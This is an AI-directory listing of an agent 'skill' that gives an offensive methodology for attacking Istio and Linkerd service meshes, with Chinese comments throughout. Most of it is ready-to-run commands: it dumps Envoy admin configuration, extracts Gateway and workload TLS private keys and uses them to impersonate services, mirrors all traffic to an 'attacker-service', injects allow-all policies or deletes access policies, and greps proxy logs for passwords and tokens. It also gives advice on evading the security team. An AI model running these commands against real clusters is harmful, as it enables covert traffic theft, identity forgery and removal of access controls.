SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillsservicemesh-tactics

servicemesh-tactics

General & other

View repository

Updated 10-16 09:52

About this skill

Service Mesh Attack Methodology (Istio/Linkerd/Envoy)

Service Mesh sinks network communication logic into Sidecar proxies (Envoy/Linkerd-proxy), and centrally manages traffic routing, mTLS, and access policies through the control plane (Istiod/Linkerd Control Plane). Attacker's perspective: the control plane is the "brain" of the entire mesh, and obtaining the control plane configuration is equivalent to mastering the entire microservice topology; the Sidecar's Admin interface listens on localhost by default and is accessible from within the Pod; CRDs such as VirtualService/DestinationRule control traffic direction, and with RBAC permissions the routes can be hijacked or tampered with.

In-Depth Reference

Complete attack commands, Envoy Admin API endpoint list, TLS certificate extraction process, AuthorizationPolicy bypass templates:

→ Read references/attack-techniques.md

Phase 1: Environment Identification

Confirm the Service Mesh type, version, and deployment scope, and determine the size of the attack surface.

Detection Target Command Confirmation Indicator
Istio Deployment kubectl get ns istio-system Namespace Exists
Istio Components kubectl get pods -n istio-system istiod、istio-ingressgateway
Linkerd Deployment kubectl get ns linkerd Namespace Exists
Linkerd Components kubectl get pods -n linkerd linkerd-destination、linkerd-proxy-injector
Sidecar Injection Label kubectl get ns --show-labels | grep injection istio-injection=enabled
Sidecar in Pod kubectl get pod POD -o jsonpath='{.spec.containers[*].name}' Contains istio-proxy or linkerd-proxy
Istio Version kubectl get deploy istiod -n istio-system -o jsonpath='{.spec.template.spec.containers[0].image}' Version number affects available vulnerabilities

Quick determination within the Pod (without kubectl):

# 检查进程
ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd'

# 检查 Envoy Admin 是否可达
curl -s http://localhost:15000/server_info 2>/dev/null | head -5

# 检查 Linkerd Admin 是否可达
curl -s http://localhost:4191/metrics 2>/dev/null | head -5

# 检查 Istio 证书目录
ls -la /etc/certs/ /var/run/secrets/istio/ 2>/dev/null

Phase 2: Attack Decision Tree

发现 Service Mesh 环境
├── 在 Pod 内（有 Sidecar）
│   ├── Envoy Admin 可达（localhost:15000）
│   │   ├── → Phase 3: 配置 dump / Cluster 枚举 / Listener 枚举
│   │   └── → Phase 3: 通过 /config_dump 获取全网格拓扑
│   ├── 通过 Sidecar 代理访问其他服务
│   │   └── → Phase 5: Service-to-Service 横向移动
│   └── /etc/certs/ 或 /var/run/secrets/istio/ 存在
│       └── → Phase 6: 导出 TLS 证书 → 中间人 / 身份伪造
│
├── 有 K8s RBAC 权限（kubectl 可用）
│   ├── 可读 VirtualService / DestinationRule
│   │   └── → Phase 4: 流量路由窃取 / 服务拓扑绘制
│   ├── 可写 VirtualService / DestinationRule
│   │   └── → Phase 4: 流量劫持（镜像到攻击者服务 / 修改路由权重）
│   ├── 可读 Gateway
│   │   └── → Phase 4: TLS 证书 Secret 提取
│   ├── 可读/写 AuthorizationPolicy
│   │   └── → Phase 7: 策略绕过 / 删除策略 / 注入 allow-all
│   └── 可读 ServiceEntry
│       └── → Phase 4: 外部服务映射（出口流量分析）
│
├── Istio 控制面（istio-system）
│   ├── Istiod 可达 → xDS API 枚举
│   ├── IngressGateway 暴露 → 入口攻击面
│   └── → Phase 4: istio-system 配置全面枚举
│
└── Linkerd 控制面（linkerd）
    ├── linkerd-destination 可达
    ├── ServiceProfile 枚举
    └── → Phase 8: Linkerd 特定攻击

Phase 3: Envoy Admin Interface Exploitation

Envoy Admin listens by default on localhost:15000(Istio) or localhost:15001, and is accessible from within the Pod without authentication. This is the fastest information-gathering path in Service Mesh attacks.

Key Endpoints:

Endpoint Purpose Attack Value
/clusters Upstream Cluster List All reachable microservice addresses and ports
/config_dump Complete Envoy Configuration Routing rules, TLS configuration, full mesh topology
/listeners Listener List Inbound/outbound ports and filter chains
/server_info Envoy Version Version corresponds to known vulnerabilities
/stats Statistics Traffic patterns, active connections
/certs TLS Certificate Information Certificate SAN, validity period, CA chain
/ready Readiness Status Confirm Envoy is running normally 
# 核心枚举（Pod 内执行）
curl -s http://localhost:15000/clusters | grep -E "^[a-z]" | head -30
curl -s http://localhost:15000/config_dump > /tmp/envoy_config.json
curl -s http://localhost:15000/listeners
curl -s http://localhost:15000/server_info
curl -s http://localhost:15000/certs

Extract key information from config_dump:

# 提取所有上游服务地址
cat /tmp/envoy_config.json | python3 -c "
import sys,json
d=json.load(sys.stdin)
for c in d.get('configs',[]):
  if 'dynamic_active_clusters' in c:
    for cl in c['dynamic_active_clusters']:
      name=cl.get('cluster',{}).get('name','')
      if name: print(name)
" 2>/dev/null

# 简化版：grep 提取服务名
grep -oP '"name":\s*"[^"]*svc\.cluster\.local[^"]*"' /tmp/envoy_config.json | sort -u

→ Read references/attack-techniques.md to obtain the complete Envoy Admin API exploitation commands

Phase 4: Istio Configuration Enumeration and Manipulation

Understand the traffic routing and service topology of the entire mesh through Istio CRDs, and hijack traffic when write permissions are available.

4.1 Configuration Theft (Read-Only)

# VirtualService — 路由规则（哪些 URL 路由到哪些服务）
kubectl get virtualservices --all-namespaces -o yaml

# DestinationRule — 负载均衡策略、mTLS 配置
kubectl get destinationrules --all-namespaces -o yaml

# Gateway — 入口配置、TLS 证书引用
kubectl get gateways --all-namespaces -o yaml

# ServiceEntry — 外部服务白名单
kubectl get serviceentries --all-namespaces -o yaml

# AuthorizationPolicy — 访问控制策略
kubectl get authorizationpolicies --all-namespaces -o yaml

# PeerAuthentication — mTLS 模式（STRICT/PERMISSIVE/DISABLE）
kubectl get peerauthentication --all-namespaces -o yaml

4.2 Gateway TLS Certificate Extraction

# 找到 Gateway 引用的 Secret
kubectl get gateway -A -o yaml | grep -A 3 "credentialName"

# 提取证书和私钥
kubectl get secret CERT_SECRET -n istio-system -o jsonpath='{.data.tls\.crt}' | base64 -d > /tmp/mesh-cert.pem
kubectl get secret CERT_SECRET -n istio-system -o jsonpath='{.data.tls\.key}' | base64 -d > /tmp/mesh-key.pem
openssl x509 -in /tmp/mesh-cert.pem -text -noout

4.3 Traffic Hijacking (Requires Write Permissions)

# 镜像流量到攻击者控制的服务（不影响正常流量，隐蔽窃取）
cat <<'EOF' | kubectl apply -f -
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: mirror-attack
  namespace: TARGET_NS
spec:
  hosts:
  - target-service
  http:
  - route:
    - destination:
        host: target-service
    mirror:
      host: attacker-service
    mirrorPercentage:
      value: 100.0
EOF

→ Read references/attack-techniques.md to obtain traffic weight tampering and route hijacking templates

Phase 5: Service-to-Service Lateral Movement

Access other microservices in the mesh from within a Pod through the Sidecar proxy (or bypass the Sidecar).

# 列出所有可达服务（从 Envoy clusters）
curl -s http://localhost:15000/clusters | grep -oP '[\w.-]+\.[\w.-]+\.svc\.cluster\.local' | sort -u

# 通过 Sidecar 代理访问目标服务
curl -s http://target-service.target-ns.svc.cluster.local:8080/api/endpoint

# 内部端口探测
for svc in $(curl -s http://localhost:15000/clusters | grep -oP '[\w.-]+\.[\w.-]+\.svc\.cluster\.local' | sort -u); do
  echo "=== $svc ==="
  curl -s -o /dev/null -w "%{http_code}" "http://$svc/" --connect-timeout 2
done

# 尝试访问控制面组件
curl -s http://istiod.istio-system.svc.cluster.local:15014/debug/endpointz
curl -s http://istiod.istio-system.svc.cluster.local:15014/debug/configz

Phase 6: TLS Certificate Theft and Identity Forgery

Service Mesh uses mTLS for service-to-service authentication. Stealing certificates can forge service identities or enable man-in-the-middle attacks.

# Istio 证书位置（Pod 内）
ls -la /etc/certs/                          # 旧版 Istio
ls -la /var/run/secrets/istio/              # 新版 Istio（SDS）

# 提取证书链和私钥
cat /var/run/secrets/istio/root-cert.pem    # CA 根证书
cat /var/run/secrets/istio/cert-chain.pem   # 服务证书链
cat /var/run/secrets/istio/key.pem          # 服务私钥

# 分析证书（提取 SPIFFE ID / 服务身份）
openssl x509 -in /var/run/secrets/istio/cert-chain.pem -text -noout | grep -A 1 "Subject Alternative Name"
# 典型输出: URI:spiffe://cluster.local/ns/NAMESPACE/sa/SERVICE_ACCOUNT

# 使用窃取的证书访问其他服务（绕过 mTLS 认证）
curl --cert /var/run/secrets/istio/cert-chain.pem \
     --key /var/run/secrets/istio/key.pem \
     --cacert /var/run/secrets/istio/root-cert.pem \
     https://target-service:PORT/

→ Read references/attack-techniques.md for the complete certificate exploitation and identity forgery commands

Phase 7: AuthorizationPolicy Bypass

Istio's AuthorizationPolicy controls access permissions between services. The attack goal is to weaken or eliminate these restrictions.

# 枚举所有策略
kubectl get authorizationpolicies --all-namespaces -o yaml

# 查找宽松策略（ALLOW 无条件）
kubectl get authorizationpolicies -A -o yaml | grep -B 5 -A 10 "action: ALLOW"

# 查找 PERMISSIVE 模式的 PeerAuthentication（mTLS 非强制）
kubectl get peerauthentication -A -o yaml | grep -B 5 "mode: PERMISSIVE"

When you have write permissions—inject an allow-all policy:

# 允许命名空间内所有流量（空 spec = allow all）
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: allow-all
  namespace: TARGET_NAMESPACE
spec: {}

When you have delete permissions—remove the policy directly:

kubectl delete authorizationpolicy POLICY_NAME -n TARGET_NAMESPACE

Phase 8: Linkerd-Specific Attacks

# 枚举 Linkerd 配置
kubectl get configmap -n linkerd -o yaml
kubectl get serviceprofiles --all-namespaces -o yaml

# Linkerd Proxy Admin（Pod 内）
curl -s http://localhost:4191/metrics
curl -s http://localhost:4191/ready

# Linkerd Dashboard（如果暴露）
kubectl port-forward -n linkerd deploy/linkerd-web 8084:8084
# 访问 http://localhost:8084 查看全网格拓扑和流量

# Linkerd 证书提取
kubectl get secret -n linkerd | grep -i "tls\|cert\|ca"
kubectl get secret linkerd-identity-issuer -n linkerd -o yaml

Phase 9: Telemetry and Log Exploitation

Service Mesh telemetry components (Prometheus, Jaeger, Kiali) may expose sensitive traffic data.

# 查看 Istio 访问日志（可能包含请求头、路径等敏感信息）
kubectl logs -n istio-system deployment/istio-ingressgateway | head -50
kubectl logs -n TARGET_NS POD_NAME -c istio-proxy | grep -iE "password|secret|token|auth"

# Prometheus（如果可达）
curl -s "http://prometheus.istio-system:9090/api/v1/targets" | head
curl -s "http://prometheus.istio-system:9090/api/v1/query?query=istio_requests_total"

# Kiali（服务网格可视化）
kubectl port-forward -n istio-system deploy/kiali 20001:20001
# 访问 http://localhost:20001 查看全网格拓扑、流量和配置

# Jaeger（分布式追踪）
kubectl port-forward -n istio-system deploy/jaeger 16686:16686
# 访问 http://localhost:16686 查看请求链路追踪

Tool Quick Reference

Tool Purpose Key Commands
kubectl K8s Resource Operations kubectl get virtualservices -A
istioctl Istio-Specific CLI istioctl analyze、istioctl proxy-config
curl Envoy Admin Interface curl http://localhost:15000/clusters
openssl Certificate Analysis openssl x509 -in cert.pem -text -noout
linkerd Linkerd CLI linkerd check、linkerd viz dashboard
tcpdump Traffic Capture (Inside Pod) tcpdump -i any -w /tmp/mesh.pcap

Precautions

Operational Security:

  • Modifying VirtualService/DestinationRule will immediately affect live traffic; be sure to record the original configuration before operating
  • Deleting AuthorizationPolicy will expose services, increasing the risk of discovery by the security team
  • Access to the Envoy Admin interface does not generate Istio audit logs, but kubectl operations will be recorded by the K8s Audit Log
  • Traffic mirroring (mirror) is the most covert method of theft and does not affect normal request responses

mTLS-Related:

  • If PeerAuthentication is in STRICT mode, traffic from outside the mesh will be rejected
  • PERMISSIVE mode allows a mix of plaintext and mTLS—services can be accessed directly using plaintext
  • Stolen certificates usually have a short validity period (Istio default is 24 hours), requiring continuous acquisition of new certificates

Linkerd vs Istio：

  • Linkerd's Proxy Admin defaults to port 4191 and has fewer features than Envoy Admin
  • Linkerd does not have CRDs such as VirtualService/DestinationRule; it uses ServiceProfile and TrafficSplit
  • Linkerd's identity certificates also have a short default validity period